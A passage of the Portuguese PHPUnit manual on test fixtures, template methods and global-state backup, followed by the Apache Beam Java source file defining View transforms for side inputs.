classe do caso de teste. </para> <para> <indexterm><primary>Método Modelo</primary></indexterm> <indexterm><primary>setUpBeforeClass()</primary></indexterm> <indexterm><primary>setUp()</primary></indexterm> <indexterm><primary>assertPreConditions()</primary></indexterm> <indexterm><primary>assertPostConditions()</primary></indexterm> <indexterm><primary>tearDown()</primary></indexterm> <indexterm><primary>tearDownAfterClass()</primary></indexterm> <indexterm><primary>onNotSuccessfulTest()</primary></indexterm> Além disso, os métodos-modelo <literal>setUpBeforeClass()</literal> e <literal>tearDownAfterClass()</literal> são chamados antes do primeiro teste da classe do caso de teste ser executado e após o último teste da classe do caso de teste ser executado, respectivamente. </para> <para> <indexterm><primary>Método Modelo</primary></indexterm> O exemplo abaixo mostra todos os métodos-modelo que estão disponíveis em uma classe de casos de teste. </para> <example id="fixtures.examples.TemplateMethodsTest.php"> <title>Exemplo mostrando todos os métodos-modelo disponíveis</title> <programlisting><![CDATA[<?php class TemplateMethodsTest extends PHPUnit_Framework_TestCase { public static function setUpBeforeClass() { fwrite(STDOUT, __METHOD__ . "\n"); } protected function setUp() { fwrite(STDOUT, __METHOD__ . "\n"); } protected function assertPreConditions() { fwrite(STDOUT, __METHOD__ . "\n"); } public function testOne() { fwrite(STDOUT, __METHOD__ . "\n"); $this->assertTrue(TRUE); } public function testTwo() { fwrite(STDOUT, __METHOD__ . "\n"); $this->assertTrue(FALSE); } protected function assertPostConditions() { fwrite(STDOUT, __METHOD__ . "\n"); } protected function tearDown() { fwrite(STDOUT, __METHOD__ . "\n"); } public static function tearDownAfterClass() { fwrite(STDOUT, __METHOD__ . "\n"); } protected function onNotSuccessfulTest(Exception $e) { fwrite(STDOUT, __METHOD__ . "\n"); throw $e; } } ?>]]></programlisting> <screen><userinput>phpunit TemplateMethodsTest</userinput><![CDATA[ PHPUnit 6.3.0 by Sebastian Bergmann and contributors. TemplateMethodsTest::setUpBeforeClass TemplateMethodsTest::setUp TemplateMethodsTest::assertPreConditions TemplateMethodsTest::testOne TemplateMethodsTest::assertPostConditions TemplateMethodsTest::tearDown .TemplateMethodsTest::setUp TemplateMethodsTest::assertPreConditions TemplateMethodsTest::testTwo TemplateMethodsTest::tearDown TemplateMethodsTest::onNotSuccessfulTest FTemplateMethodsTest::tearDownAfterClass Time: 0 seconds, Memory: 5.25Mb There was 1 failure: 1) TemplateMethodsTest::testTwo Failed asserting that <boolean:false> is true. /home/sb/TemplateMethodsTest.php:30 FAILURES! Tests: 2, Assertions: 2, Failures: 1.]]></screen> </example> <section id="fixtures.more-setup-than-teardown"> <title>Mais setUp() que tearDown()</title> <para> <literal>setUp()</literal> e <literal>tearDown()</literal> são bastante simétricos em teoria, mas não na prática. Na prática, você só precisa implementar <literal>tearDown()</literal> se você tiver alocado recursos externos como arquivos ou sockets no <literal>setUp()</literal>. Se seu <literal>setUp()</literal> apenas cria objetos planos do PHP, você pode geralmente ignorar o <literal>tearDown()</literal>. Porém, se você criar muitos objetos em seu <literal>setUp()</literal>, você pode querer <literal>unset()</literal> as variáveis que apontam para aqueles objetos em seu <literal>tearDown()</literal> para que eles possam ser coletados como lixo. A coleta de lixo dos objetos dos casos de teste não é previsível. </para> </section> <section id="fixtures.variations"> <title>Variações</title> <para> O que acontece quando você tem dois testes com definições (setups) ligeiramente diferentes? Existem duas possibilidades: </para> <itemizedlist> <listitem> <para> Se o código <literal>setUp()</literal> diferir só um pouco, mova o código que difere do código do <literal>setUp()</literal> para o método de teste. </para> </listitem> <listitem> <para> Se você tiver um <literal>setUp()</literal> realmente diferente, você precisará de uma classe de caso de teste diferente. Nomeie a classe após a diferença na configuração. </para> </listitem> </itemizedlist> </section> <section id="fixtures.sharing-fixture"> <title>Compartilhando Ambientes</title> <para> Existem algumas boas razões para compartilhar ambientes entre testes, mas na maioria dos casos a necessidade de compartilhar um ambiente entre testes deriva de um problema de design não resolvido. </para> <para> Um bom exemplo de um ambiente que faz sentido compartilhar através de vários testes é a conexão ao banco de dados: você loga no banco de dados uma vez e reutiliza essa conexão em vez de criar uma nova conexão para cada teste. Isso faz seus testes serem executados mais rápido. </para> <para> <indexterm><primary>setUpBeforeClass</primary></indexterm> <indexterm><primary>tearDownAfterClass</primary></indexterm> <xref linkend="fixtures.sharing-fixture.examples.DatabaseTest.php" /> usa os métodos-modelo <literal>setUpBeforeClass()</literal> e <literal>tearDownAfterClass()</literal> para conectar ao banco de dados antes do primeiro teste da classe de casos de teste e para desconectar do banco de dados após o último teste dos casos de teste, respectivamente. </para> <example id="fixtures.sharing-fixture.examples.DatabaseTest.php"> <title>Compartilhando ambientes entre os testes de uma suíte de testes</title> <programlisting><![CDATA[<?php class DatabaseTest extends PHPUnit_Framework_TestCase { protected static $dbh; public static function setUpBeforeClass() { self::$dbh = new PDO('sqlite::memory:'); } public static function tearDownAfterClass() { self::$dbh = NULL; } } ?>]]></programlisting> </example> <para> Não dá pra enfatizar o suficiente o quanto o compartilhamento de ambientes entre testes reduz o custo dos testes. O problema de design subjacente é que objetos não são de baixo acoplamento. Você vai conseguir melhores resultados resolvendo o problema de design subjacente e então escrevendo testes usando pontas (veja <xref linkend="test-doubles" />), do que criando dependências entre os testes em tempo de execução e ignorando a oportunidade de melhorar seu design. </para> </section> <section id="fixtures.global-state"> <title>Estado Global</title> <para> <ulink url="http://googletesting.blogspot.com/2008/05/tott-using-dependancy-injection-to.html">É difícil testar um código que usa singletons (instâncias únicas de objetos).</ulink> Isso também vale para os códigos que usam variáveis globais. Tipicamente, o código que você quer testar é fortemente acoplado com uma variável global e você não pode controlar sua criação. Um problema adicional é o fato de que uma alteração em uma variável global para um teste pode quebrar um outro teste. </para> <para> Em PHP, variáveis globais trabalham desta forma: </para> <itemizedlist> <listitem><para>Uma variável global <literal>$foo = 'bar';</literal> é guardada como <literal>$GLOBALS['foo'] = 'bar';</literal>.</para></listitem> <listitem><para>A variável <literal>$GLOBALS</literal> é chamada de variável <emphasis>super-global</emphasis>.</para></listitem> <listitem><para>Variáveis super-globais são variáveis embutidas que estão sempre disponíveis em todos os escopos.</para></listitem> <listitem><para>No escopo de uma função ou método, você pode acessar a variável global <literal>$foo</literal> tanto por acesso direto à <literal>$GLOBALS['foo']</literal> ou usando <literal>global $foo;</literal> para criar uma variável local com uma referência à variável global.</para></listitem> </itemizedlist> <para> Além das variáveis globais, atributos estáticos de classes também são parte do estado global. </para> <para> <indexterm><primary>Variável Global</primary></indexterm> <indexterm><primary>Isolamento de Testes</primary></indexterm> Por padrão, o PHPUnit executa seus testes de forma que mudanças às variáveis globais ou super-globais (<literal>$GLOBALS</literal>, <literal>$_ENV</literal>, <literal>$_POST</literal>, <literal>$_GET</literal>, <literal>$_COOKIE</literal>, <literal>$_SERVER</literal>, <literal>$_FILES</literal>, <literal>$_REQUEST</literal>) não afetem outros testes. Opcionalmente, este isolamento pode ser estendido a atributos estáticos de classes. </para> <note> <para> A operações de cópia de segurança e restauração para variáveis globais e atributos estáticos de classes usa <literal>serialize()</literal> e <literal>unserialize()</literal>. </para> <para> Objetos de algumas classes (e.g., <literal>PDO</literal>) não podem ser serializadas e a operação de cópia de segurança vai quebrar quando esse tipo de objeto for guardado no vetor <literal>$GLOBALS</literal>, por exemplo. </para> </note> <para> <indexterm><primary><literal>@backupGlobals</literal></primary></indexterm> <indexterm><primary><literal>$backupGlobalsBlacklist</literal></primary></indexterm> A anotação <literal>@backupGlobals</literal> que é discutida na <xref linkend="appendixes.annotations.backupGlobals"/> pode ser usada para controlar as operações de cópia de segurança e restauração para variáveis globais. Alternativamente, você pode fornecer uma lista-negra de variáveis globais que deverão ser excluídas das operações de backup e restauração como esta: <programlisting>class MyTest extends PHPUnit_Framework_TestCase { protected $backupGlobalsBlacklist = array('globalVariable'); // ... }</programlisting> </para> <note> <para> Definir a propriedade <literal>$backupGlobalsBlacklist</literal> dentro do método <literal>setUp()</literal>, por exemplo, não tem efeito. </para> </note> <para> <indexterm><primary><literal>@backupStaticAttributes</literal></primary></indexterm> <indexterm><primary><literal>$backupStaticAttributesBlacklist</literal></primary></indexterm> A anotação <literal>@backupStaticAttributes</literal> que é discutida na <xref linkend="appendixes.annotations.backupStaticAttributes"/> pode ser usado para fazer backup de todos os valores de propriedades estáticas em todas as classes declaradas antes de cada teste e restaurá-los depois. </para> <para> Ele processa todas as classes que são declaradas no momento que um teste começa, não só a classe de teste. Ele só se aplica a propriedades da classe estática, e não variáveis estáticas dentro de funções. </para> <note> <para> A operação <literal>@backupStaticAttributes</literal> é executada antes de um método de teste, mas somente se ele está habilitado. Se um valor estático foi alterado por um teste executado anteriormente que não tinha ativado <literal>@backupStaticAttributes</literal>, esse valor então será feito o backup e restaurado - não o valor padrão originalmente declarado. O PHP não registra o valor padrão originalmente declarado de nenhuma variável estática. </para> <para> O mesmo se aplica a propriedades estáticas de classes que foram recém-carregadas/declaradas dentro de um teste. Elas não podem ser redefinidas para o seu valor padrão originalmente declarado após o teste, uma vez que esse valor é desconhecido. Qualquer que seja o valor definido irá vazar para testes subsequentes. </para> <para> Para testes de unidade, recomenda-se redefinir explicitamente os valores das propriedades estáticas em teste em seu código <literal>setUp()</literal> ao invés (e, idealmente, também <literal>tearDown()</literal>, de modo a não afetar os testes posteriormente executados). </para> </note> <para> Você pode fornecer uma lista-negra de atributos estáticos que serão excluídos das operações de cópia de segurança e restauração: <programlisting> class MyTest extends PHPUnit_Framework_TestCase { protected $backupStaticAttributesBlacklist = array( 'className' => array('attributeName') ); // ... } </programlisting> </para> <note> <para> Definir a propriedade <literal>$backupStaticAttributesBlacklist</literal> dentro do método <literal>setUp()</literal> , por exemplo, não tem efeito. </para> </note> </section> </chapter>
{ "pile_set_name": "Github" }
/* * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.apache.beam.sdk.transforms; import static org.apache.beam.sdk.options.ExperimentalOptions.hasExperiment; import java.util.HashMap; import java.util.List; import java.util.Map; import java.util.concurrent.ThreadLocalRandom; import org.apache.beam.sdk.PipelineRunner; import org.apache.beam.sdk.annotations.Internal; import org.apache.beam.sdk.coders.BigEndianLongCoder; import org.apache.beam.sdk.coders.Coder; import org.apache.beam.sdk.coders.CoderException; import org.apache.beam.sdk.coders.KvCoder; import org.apache.beam.sdk.coders.VoidCoder; import org.apache.beam.sdk.io.range.OffsetRange; import org.apache.beam.sdk.runners.TransformHierarchy.Node; import org.apache.beam.sdk.transforms.windowing.BoundedWindow; import org.apache.beam.sdk.util.CoderUtils; import org.apache.beam.sdk.values.KV; import org.apache.beam.sdk.values.PCollection; import org.apache.beam.sdk.values.PCollectionView; import org.apache.beam.sdk.values.PCollectionViews; import org.apache.beam.sdk.values.PCollectionViews.TypeDescriptorSupplier; import org.apache.beam.sdk.values.PCollectionViews.ValueOrMetadata; import org.apache.beam.sdk.values.PCollectionViews.ValueOrMetadataCoder; import org.checkerframework.checker.nullness.qual.Nullable; /** * Transforms for creating {@link PCollectionView PCollectionViews} from {@link PCollection * PCollections} (to read them as side inputs). * * <p>While a {@link PCollection PCollection&lt;ElemT&gt;} has many values of type {@code ElemT} per * window, a {@link PCollectionView PCollectionView&lt;ViewT&gt;} has a single value of type {@code * ViewT} for each window. It can be thought of as a mapping from windows to values of type {@code * ViewT}. The transforms here represent ways of converting the {@code ElemT} values in a window * into a {@code ViewT} for that window. * * <p>When a {@link ParDo} transform is processing a main input element in a window {@code w} and a * {@link PCollectionView} is read via {@link DoFn.ProcessContext#sideInput}, the value of the view * for {@code w} is returned. * * <p>The SDK supports viewing a {@link PCollection}, per window, as a single value, a {@link List}, * an {@link Iterable}, a {@link Map}, or a multimap (iterable-valued {@link Map}). * * <p>For a {@link PCollection} that contains a single value of type {@code T} per window, such as * the output of {@link Combine#globally}, use {@link View#asSingleton()} to prepare it for use as a * side input: * * <pre>{@code * PCollectionView<T> output = someOtherPCollection * .apply(Combine.globally(...)) * .apply(View.<T>asSingleton()); * }</pre> * * <p>For a small {@link PCollection} with windows that can fit entirely in memory, use {@link * View#asList()} to prepare it for use as a {@code List}. When read as a side input, the entire * list for a window will be cached in memory. * * <pre>{@code * PCollectionView<List<T>> output = * smallPCollection.apply(View.<T>asList()); * }</pre> * * <p>If a {@link PCollection} of {@code KV<K, V>} is known to have a single value per window for * each key, then use {@link View#asMap()} to view it as a {@code Map<K, V>}: * * <pre>{@code * PCollectionView<Map<K, V> output = * somePCollection.apply(View.<K, V>asMap()); * }</pre> * * <p>Otherwise, to access a {@link PCollection} of {@code KV<K, V>} as a {@code Map<K, * Iterable<V>>} side input, use {@link View#asMultimap()}: * * <pre>{@code * PCollectionView<Map<K, Iterable<V>> output = * somePCollection.apply(View.<K, Iterable<V>>asMultimap()); * }</pre> * * <p>To iterate over an entire window of a {@link PCollection} via side input, use {@link * View#asIterable()}: * * <pre>{@code * PCollectionView<Iterable<T>> output = * somePCollection.apply(View.<T>asIterable()); * }</pre> * * <p>Both {@link View#asMultimap()} and {@link View#asMap()} are useful for implementing lookup * based "joins" with the main input, when the side input is small enough to fit into memory. * * <p>For example, if you represent a page on a website via some {@code Page} object and have some * type {@code UrlVisits} logging that a URL was visited, you could convert these to more fully * structured {@code PageVisit} objects using a side input, something like the following: * * <pre>{@code * PCollection<Page> pages = ... // pages fit into memory * PCollection<UrlVisit> urlVisits = ... // very large collection * final PCollectionView<Map<URL, Page>> urlToPageView = pages * .apply(WithKeys.of( ... )) // extract the URL from the page * .apply(View.<URL, Page>asMap()); * * PCollection<PageVisit> pageVisits = urlVisits * .apply(ParDo.withSideInputs(urlToPageView) * .of(new DoFn<UrlVisit, PageVisit>() }{ * {@code @Override * void processElement(ProcessContext context) { * UrlVisit urlVisit = context.element(); * Map<URL, Page> urlToPage = context.sideInput(urlToPageView); * Page page = urlToPage.get(urlVisit.getUrl()); * c.output(new PageVisit(page, urlVisit.getVisitData())); * } * }})); * </pre> * * <p>See {@link ParDo.SingleOutput#withSideInputs} for details on how to access this variable * inside a {@link ParDo} over another {@link PCollection}. */ public class View { // Do not instantiate private View() {} /** * Returns a {@link AsSingleton} transform that takes a {@link PCollection} with a single value * per window as input and produces a {@link PCollectionView} that returns the value in the main * input window when read as a side input. * * <pre>{@code * PCollection<InputT> input = ... * CombineFn<InputT, OutputT> yourCombineFn = ... * PCollectionView<OutputT> output = input * .apply(Combine.globally(yourCombineFn)) * .apply(View.<OutputT>asSingleton()); * }</pre> * * <p>If the input {@link PCollection} is empty, throws {@link java.util.NoSuchElementException} * in the consuming {@link DoFn}. * * <p>If the input {@link PCollection} contains more than one element, throws {@link * IllegalArgumentException} in the consuming {@link DoFn}. */ public static <T> AsSingleton<T> asSingleton() { return new AsSingleton<>(); } /** * Returns a {@link View.AsList} transform that takes a {@link PCollection} and returns a {@link * PCollectionView} mapping each window to a {@link List} containing all of the elements in the * window. * * <p>This view should only be used if random access and/or size of the PCollection is required. * {@link #asIterable()} will perform significantly better for sequential access. * * <p>Some runners may require that the view fits in memory. */ public static <T> AsList<T> asList() { return new AsList<>(); } /** * Returns a {@link View.AsIterable} transform that takes a {@link PCollection} as input and * produces a {@link PCollectionView} mapping each window to an {@link Iterable} of the values in * that window. * * <p>Some runners may require that the view fits in memory. */ public static <T> AsIterable<T> asIterable() { return new AsIterable<>(); } /** * Returns a {@link View.AsMap} transform that takes a {@link PCollection PCollection&lt;KV&lt;K, * V&gt;&gt;} as input and produces a {@link PCollectionView} mapping each window to a {@link Map * Map&lt;K, V&gt;}. It is required that each key of the input be associated with a single value, * per window. If this is not the case, precede this view with {@code Combine.perKey}, as in the * example below, or alternatively use {@link View#asMultimap()}. * * <pre>{@code * PCollection<KV<K, V>> input = ... * CombineFn<V, OutputT> yourCombineFn = ... * PCollectionView<Map<K, OutputT>> output = input * .apply(Combine.perKey(yourCombineFn)) * .apply(View.<K, OutputT>asMap()); * }</pre> * * <p>Some runners may require that the view fits in memory. */ public static <K, V> AsMap<K, V> asMap() { return new AsMap<>(); } /** * Returns a {@link View.AsMultimap} transform that takes a {@link PCollection * PCollection&lt;KV&lt;K, V&gt;&gt;} as input and produces a {@link PCollectionView} mapping each * window to its contents as a {@link Map Map&lt;K, Iterable&lt;V&gt;&gt;} for use as a side * input. In contrast to {@link View#asMap()}, it is not required that the keys in the input * collection be unique. * * <pre>{@code * PCollection<KV<K, V>> input = ... // maybe more than one occurrence of a some keys * PCollectionView<Map<K, Iterable<V>>> output = input.apply(View.<K, V>asMultimap()); * }</pre> * * <p>Some runners may require that the view fits in memory. */ public static <K, V> AsMultimap<K, V> asMultimap() { return new AsMultimap<>(); } /** * <b><i>For internal use only; no backwards-compatibility guarantees.</i></b> * * <p>Public only so a {@link PipelineRunner} may override its behavior. * * <p>See {@link View#asList()}. */ @Internal public static class AsList<T> extends PTransform<PCollection<T>, PCollectionView<List<T>>> { private AsList() {} @Override public PCollectionView<List<T>> expand(PCollection<T> input) { try { GroupByKey.applicableTo(input); } catch (IllegalStateException e) { throw new IllegalStateException("Unable to create a side-input view from input", e); } /** * The materialized format uses {@link Materializations#MULTIMAP_MATERIALIZATION_URN multimap} * access pattern where the key is a position and the index of the value in the iterable is a * sub-position. All keys are {@code long}s and all sub-positions are also considered {@code * long}s. A mapping from {@code [0, size)} to {@code (position, sub-position)} is used to * provide an ordering over all values in the {@link PCollection} per {@link BoundedWindow * window}. A total ordering is done by taking {@code (position, sub-position)} and ordering * first by {@code position} and then by {@code sub-position} where the smallest value in such * an ordering represents the index 0, and the next smallest 1, and so forth. The {@link * Long#MIN_VALUE} key is used to store all known {@link OffsetRange ranges} allowing us to * compute such an ordering. */ // TODO(BEAM-10097): Make this the default expansion for all portable runners. if (hasExperiment(input.getPipeline().getOptions(), "beam_fn_api") && (hasExperiment(input.getPipeline().getOptions(), "use_runner_v2") || hasExperiment(input.getPipeline().getOptions(), "use_unified_worker"))) { Coder<T> inputCoder = input.getCoder(); PCollection<KV<Long, ValueOrMetadata<T, OffsetRange>>> materializationInput = input .apply("IndexElements", ParDo.of(new ToListViewDoFn<>())) .setCoder( KvCoder.of( BigEndianLongCoder.of(), ValueOrMetadataCoder.create(inputCoder, OffsetRange.Coder.of()))); PCollectionView<List<T>> view = PCollectionViews.listView( materializationInput, (TypeDescriptorSupplier<T>) inputCoder::getEncodedTypeDescriptor, input.getWindowingStrategy()); materializationInput.apply(CreatePCollectionView.of(view)); return view; } PCollection<KV<Void, T>> materializationInput = input.apply(new VoidKeyToMultimapMaterialization<>()); Coder<T> inputCoder = input.getCoder(); PCollectionView<List<T>> view = PCollectionViews.listViewUsingVoidKey( materializationInput, (TypeDescriptorSupplier<T>) inputCoder::getEncodedTypeDescriptor, materializationInput.getWindowingStrategy()); materializationInput.apply(CreatePCollectionView.of(view)); return view; } } /** * Provides an index to value mapping using a random starting index and also provides an offset * range for each window seen. We use random offset ranges to minimize the chance that two ranges * overlap increasing the odds that each "key" represents a single index. */ private static class ToListViewDoFn<T> extends DoFn<T, KV<Long, ValueOrMetadata<T, OffsetRange>>> { private Map<BoundedWindow, OffsetRange> windowsToOffsets = new HashMap<>(); private OffsetRange generateRange(BoundedWindow window) { long offset = ThreadLocalRandom.current() .nextLong(Long.MIN_VALUE + 1, Long.MAX_VALUE - Integer.MAX_VALUE); return new OffsetRange(offset, offset); } @ProcessElement public void processElement(ProcessContext c, BoundedWindow window) { OffsetRange range = windowsToOffsets.computeIfAbsent(window, this::generateRange); c.output(KV.of(range.getTo(), ValueOrMetadata.create(c.element()))); windowsToOffsets.put(window, new OffsetRange(range.getFrom(), range.getTo() + 1)); } @FinishBundle public void finishBundle(FinishBundleContext c) { for (Map.Entry<BoundedWindow, OffsetRange> entry : windowsToOffsets.entrySet()) { c.output( KV.of(Long.MIN_VALUE, ValueOrMetadata.createMetadata(entry.getValue())), entry.getKey().maxTimestamp(), entry.getKey()); } windowsToOffsets.clear(); } } /** * <b><i>For internal use only; no backwards-compatibility guarantees.</i></b> * * <p>Public only so a {@link PipelineRunner} may override its behavior. * * <p>See {@link View#asIterable()}. */ @Internal public static class AsIterable<T> extends PTransform<PCollection<T>, PCollectionView<Iterable<T>>> { private AsIterable() {} @Override public PCollectionView<Iterable<T>> expand(PCollection<T> input) { try { GroupByKey.applicableTo(input); } catch (IllegalStateException e) { throw new IllegalStateException("Unable to create a side-input view from input", e); } // TODO(BEAM-10097): Make this the default expansion for all portable runners. if (hasExperiment(input.getPipeline().getOptions(), "beam_fn_api") && (hasExperiment(input.getPipeline().getOptions(), "use_runner_v2") || hasExperiment(input.getPipeline().getOptions(), "use_unified_worker"))) { Coder<T> inputCoder = input.getCoder(); PCollectionView<Iterable<T>> view = PCollectionViews.iterableView( input, (TypeDescriptorSupplier<T>) inputCoder::getEncodedTypeDescriptor, input.getWindowingStrategy()); input.apply(CreatePCollectionView.of(view)); return view; } PCollection<KV<Void, T>> materializationInput = input.apply(new VoidKeyToMultimapMaterialization<>()); Coder<T> inputCoder = input.getCoder(); PCollectionView<Iterable<T>> view = PCollectionViews.iterableViewUsingVoidKey( materializationInput, (TypeDescriptorSupplier<T>) inputCoder::getEncodedTypeDescriptor, materializationInput.getWindowingStrategy()); materializationInput.apply(CreatePCollectionView.of(view)); return view; } } /** * <b><i>For internal use only; no backwards-compatibility guarantees.</i></b> * * <p>Public only so a {@link PipelineRunner} may override its behavior. * * <p>See {@link View#asSingleton()}. */ @Internal public static class AsSingleton<T> extends PTransform<PCollection<T>, PCollectionView<T>> { private final @Nullable T defaultValue; private final boolean hasDefault; private AsSingleton() { this.defaultValue = null; this.hasDefault = false; } private AsSingleton(T defaultValue) { this.defaultValue = defaultValue; this.hasDefault = true; } /** Returns whether this transform has a default value. */ public boolean hasDefaultValue() { return hasDefault; } /** Returns the default value of this transform, or null if there isn't one. */ public T defaultValue() { return defaultValue; } /** Default value to return for windows with no value in them. */ public AsSingleton<T> withDefaultValue(T defaultValue) { return new AsSingleton<>(defaultValue); } @Override public PCollectionView<T> expand(PCollection<T> input) { try { GroupByKey.applicableTo(input); } catch (IllegalStateException e) { throw new IllegalStateException("Unable to create a side-input view from input", e); } Combine.Globally<T, T> singletonCombine = Combine.globally(new SingletonCombineFn<>(hasDefault, input.getCoder(), defaultValue)); if (!hasDefault) { singletonCombine = singletonCombine.withoutDefaults(); } return input.apply(singletonCombine.asSingletonView()); } } private static class SingletonCombineFn<T> extends Combine.BinaryCombineFn<T> { private final boolean hasDefault; private final @Nullable Coder<T> valueCoder; private final byte @Nullable [] defaultValue; private SingletonCombineFn(boolean hasDefault, Coder<T> coder, T defaultValue) { this.hasDefault = hasDefault; if (hasDefault) { if (defaultValue == null) { this.defaultValue = null; this.valueCoder = coder; } else { this.valueCoder = coder; try { this.defaultValue = CoderUtils.encodeToByteArray(coder, defaultValue); } catch (CoderException e) { throw new IllegalArgumentException( String.format( "Could not encode the default value %s with the provided coder %s", defaultValue, coder)); } } } else { this.valueCoder = null; this.defaultValue = null; } } @Override public T apply(T left, T right) { throw new IllegalArgumentException( "PCollection with more than one element " + "accessed as a singleton view. Consider using Combine.globally().asSingleton() to " + "combine the PCollection into a single value"); } @Override public T identity() { if (hasDefault) { if (defaultValue == null) { return null; } try { return CoderUtils.decodeFromByteArray(valueCoder, defaultValue); } catch (CoderException e) { throw new IllegalArgumentException( String.format( "Could not decode the default value with the provided coder %s", valueCoder)); } } else { throw new IllegalArgumentException( "Empty PCollection accessed as a singleton view. " + "Consider setting withDefault to provide a default value"); } } } /** * <b><i>For internal use only; no backwards-compatibility guarantees.</i></b> * * <p>Public only so a {@link PipelineRunner} may override its behavior. * * <p>See {@link View#asMultimap()}. */ @Internal public static class AsMultimap<K, V> extends PTransform<PCollection<KV<K, V>>, PCollectionView<Map<K, Iterable<V>>>> { private AsMultimap() {} @Override public PCollectionView<Map<K, Iterable<V>>> expand(PCollection<KV<K, V>> input) { try { GroupByKey.applicableTo(input); } catch (IllegalStateException e) { throw new IllegalStateException("Unable to create a side-input view from input", e); } // TODO(BEAM-10097): Make this the default expansion for all portable runners. if (hasExperiment(input.getPipeline().getOptions(), "beam_fn_api") && (hasExperiment(input.getPipeline().getOptions(), "use_runner_v2") || hasExperiment(input.getPipeline().getOptions(), "use_unified_worker"))) { KvCoder<K, V> kvCoder = (KvCoder<K, V>) input.getCoder(); Coder<K> keyCoder = kvCoder.getKeyCoder(); Coder<V> valueCoder = kvCoder.getValueCoder(); PCollectionView<Map<K, Iterable<V>>> view = PCollectionViews.multimapView( input, (TypeDescriptorSupplier<K>) keyCoder::getEncodedTypeDescriptor, (TypeDescriptorSupplier<V>) valueCoder::getEncodedTypeDescriptor, input.getWindowingStrategy()); input.apply(CreatePCollectionView.of(view)); return view; } KvCoder<K, V> kvCoder = (KvCoder<K, V>) input.getCoder(); Coder<K> keyCoder = kvCoder.getKeyCoder(); Coder<V> valueCoder = kvCoder.getValueCoder(); PCollection<KV<Void, KV<K, V>>> materializationInput = input.apply(new VoidKeyToMultimapMaterialization<>()); PCollectionView<Map<K, Iterable<V>>> view = PCollectionViews.multimapViewUsingVoidKey( materializationInput, (TypeDescriptorSupplier<K>) keyCoder::getEncodedTypeDescriptor, (TypeDescriptorSupplier<V>) valueCoder::getEncodedTypeDescriptor, materializationInput.getWindowingStrategy()); materializationInput.apply(CreatePCollectionView.of(view)); return view; } } /** * <b><i>For internal use only; no backwards-compatibility guarantees.</i></b> * * <p>Public only so a {@link PipelineRunner} may override its behavior. * * <p>See {@link View#asMap()}. */ @Internal public static class AsMap<K, V> extends PTransform<PCollection<KV<K, V>>, PCollectionView<Map<K, V>>> { private AsMap() {} /** @deprecated this method simply returns this AsMap unmodified */ @Deprecated() public AsMap<K, V> withSingletonValues() { return this; } @Override public PCollectionView<Map<K, V>> expand(PCollection<KV<K, V>> input) { try { GroupByKey.applicableTo(input); } catch (IllegalStateException e) { throw new IllegalStateException("Unable to create a side-input view from input", e); } // TODO(BEAM-10097): Make this the default expansion for all portable runners. if (hasExperiment(input.getPipeline().getOptions(), "beam_fn_api") && (hasExperiment(input.getPipeline().getOptions(), "use_runner_v2") || hasExperiment(input.getPipeline().getOptions(), "use_unified_worker"))) { KvCoder<K, V> kvCoder = (KvCoder<K, V>) input.getCoder(); Coder<K> keyCoder = kvCoder.getKeyCoder(); Coder<V> valueCoder = kvCoder.getValueCoder(); PCollectionView<Map<K, V>> view = PCollectionViews.mapView( input, (TypeDescriptorSupplier<K>) keyCoder::getEncodedTypeDescriptor, (TypeDescriptorSupplier<V>) valueCoder::getEncodedTypeDescriptor, input.getWindowingStrategy()); input.apply(CreatePCollectionView.of(view)); return view; } KvCoder<K, V> kvCoder = (KvCoder<K, V>) input.getCoder(); Coder<K> keyCoder = kvCoder.getKeyCoder(); Coder<V> valueCoder = kvCoder.getValueCoder(); PCollection<KV<Void, KV<K, V>>> materializationInput = input.apply(new VoidKeyToMultimapMaterialization<>()); PCollectionView<Map<K, V>> view = PCollectionViews.mapViewUsingVoidKey( materializationInput, (TypeDescriptorSupplier<K>) keyCoder::getEncodedTypeDescriptor, (TypeDescriptorSupplier<V>) valueCoder::getEncodedTypeDescriptor, materializationInput.getWindowingStrategy()); materializationInput.apply(CreatePCollectionView.of(view)); return view; } } //////////////////////////////////////////////////////////////////////////// // Internal details below /** * A {@link PTransform} which converts all values into {@link KV}s with {@link Void} keys. * * <p>TODO(BEAM-10097): Replace this materialization with specializations that optimize the * various SDK requested views. */ @Internal static class VoidKeyToMultimapMaterialization<T> extends PTransform<PCollection<T>, PCollection<KV<Void, T>>> { private static class VoidKeyToMultimapMaterializationDoFn<T> extends DoFn<T, KV<Void, T>> { @ProcessElement public void processElement(@Element T element, OutputReceiver<KV<Void, T>> r) { r.output(KV.of((Void) null, element)); } } @Override public PCollection<KV<Void, T>> expand(PCollection<T> input) { PCollection output = input.apply(ParDo.of(new VoidKeyToMultimapMaterializationDoFn<>())); output.setCoder(KvCoder.of(VoidCoder.of(), input.getCoder())); return output; } } /** * <b><i>For internal use only; no backwards-compatibility guarantees.</i></b> * * <p>Creates a primitive {@link PCollectionView}. * * @param <ElemT> The type of the elements of the input PCollection * @param <ViewT> The type associated with the {@link PCollectionView} used as a side input */ @Internal public static class CreatePCollectionView<ElemT, ViewT> extends PTransform<PCollection<ElemT>, PCollection<ElemT>> { private PCollectionView<ViewT> view; private CreatePCollectionView(PCollectionView<ViewT> view) { this.view = view; } public static <ElemT, ViewT> CreatePCollectionView<ElemT, ViewT> of( PCollectionView<ViewT> view) { return new CreatePCollectionView<>(view); } /** * Return the {@link PCollectionView} that is returned by applying this {@link PTransform}. * * @deprecated This should not be used to obtain the output of any given application of this * {@link PTransform}. That should be obtained by inspecting the {@link Node} that contains * this {@link CreatePCollectionView}, as this view may have been replaced within pipeline * surgery. */ @Deprecated public PCollectionView<ViewT> getView() { return view; } @Override public PCollection<ElemT> expand(PCollection<ElemT> input) { return PCollection.createPrimitiveOutputInternal( input.getPipeline(), input.getWindowingStrategy(), input.isBounded(), input.getCoder()); } } }
{ "pile_set_name": "Github" }
